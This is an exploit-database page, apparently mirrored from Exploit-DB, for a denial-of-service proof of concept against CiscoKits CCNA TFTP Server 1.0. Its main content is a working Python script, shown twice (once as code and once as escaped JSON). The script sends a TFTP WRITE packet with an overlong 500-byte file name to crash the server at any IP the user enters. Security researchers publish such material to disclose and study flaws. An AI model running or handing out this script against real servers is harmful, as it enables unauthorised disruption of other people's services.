Search...

CiscoKits 1.0 - TFTP Server DoS Write command

2011-08-05T00:00:00

ID EDB-ID:17618
Type exploitdb
Reporter SecPod Research
Modified 2011-08-05T00:00:00

Description

CiscoKits 1.0 - TFTP Server DoS (Write command). Dos exploit for windows platform

                                        
                                            #!/usr/bin/python
##############################################################################
# Title    : CiscoKits CCNA TFTP Server Denial Of Service Vulnerability
# Author   : Prabhu S Angadi from SecPod Technologies (www.secpod.com)
# Vendor   : http://www.certificationkits.com/cisco-ccna-tftp-server/
# Advisory : http://secpod.org/blog/?p=271
#            http://secpod.org/SECPOD_CiscoKits_CCNA_TFTP_DoS_POC.py
#            http://secpod.org/advisories/SECPOD_Ciscokits_CCNA_TFTP_DoS.txt
# Version  : CiscoKits CCNA TFTP Server 1.0.0.0
# Date     : 21/07/2011
##############################################################################

import socket,sys,time

port   = 69
target = raw_input("Enter host/target ip address: ")

if not target:
    print "Host/Target IP Address is not specified"
    sys.exit(1)

print "you entered ", target

try:
    socket.inet_aton(target)
except socket.error:
    print "Invalid IP address found ..."
    sys.exit(1)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
    print "socket() failed"
    sys.exit(1)

#File name &gt;= 222 length leads to crash
exploit = "A" * 500

mode = "netascii"
print "File name WRITE crash"
# WRITE command = \x00\x02
data = "\x00\x02" + exploit + "\0" + mode + "\0"
sock.sendto(data, (target, port))
time.sleep(5)

JSON Vulners Source

Initial Source

{"published": "2011-08-05T00:00:00", "id": "EDB-ID:17618", "cvss": {"score": 0.0, "vector": "NONE"}, "history": [], "enchantments": {"vulnersScore": 5.0}, "hash": "259deaba1fe33f559fdfb413059cd31901d9047a305732757f8122287a91ea72", "description": "CiscoKits 1.0 - TFTP Server DoS (Write command). Dos exploit for windows platform", "type": "exploitdb", "href": "https://www.exploit-db.com/exploits/17618/", "lastseen": "2016-02-02T08:13:58", "edition": 1, "title": "CiscoKits 1.0 - TFTP Server DoS Write command", "osvdbidlist": [], "modified": "2011-08-05T00:00:00", "bulletinFamily": "exploit", "viewCount": 1, "cvelist": [], "sourceHref": "https://www.exploit-db.com/download/17618/", "references": [], "reporter": "SecPod Research", "sourceData": "#!/usr/bin/python\r\n##############################################################################\r\n# Title : CiscoKits CCNA TFTP Server Denial Of Service Vulnerability\r\n# Author : Prabhu S Angadi from SecPod Technologies (www.secpod.com)\r\n# Vendor : http://www.certificationkits.com/cisco-ccna-tftp-server/\r\n# Advisory : http://secpod.org/blog/?p=271\r\n# http://secpod.org/SECPOD_CiscoKits_CCNA_TFTP_DoS_POC.py\r\n# http://secpod.org/advisories/SECPOD_Ciscokits_CCNA_TFTP_DoS.txt\r\n# Version : CiscoKits CCNA TFTP Server 1.0.0.0\r\n# Date : 21/07/2011\r\n##############################################################################\r\n\r\nimport socket,sys,time\r\n\r\nport = 69\r\ntarget = raw_input(\"Enter host/target ip address: \")\r\n\r\nif not target:\r\n print \"Host/Target IP Address is not specified\"\r\n sys.exit(1)\r\n\r\nprint \"you entered \", target\r\n\r\ntry:\r\n socket.inet_aton(target)\r\nexcept socket.error:\r\n print \"Invalid IP address found ...\"\r\n sys.exit(1)\r\n\r\ntry:\r\n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\r\nexcept:\r\n print \"socket() failed\"\r\n sys.exit(1)\r\n\r\n#File name >= 222 length leads to crash\r\nexploit = \"A\" * 500\r\n\r\nmode = \"netascii\"\r\nprint \"File name WRITE crash\"\r\n# WRITE command = \\x00\\x02\r\ndata = \"\\x00\\x02\" + exploit + \"\\0\" + mode + \"\\0\"\r\nsock.sendto(data, (target, port))\r\ntime.sleep(5)\r\n", "objectVersion": "1.0"}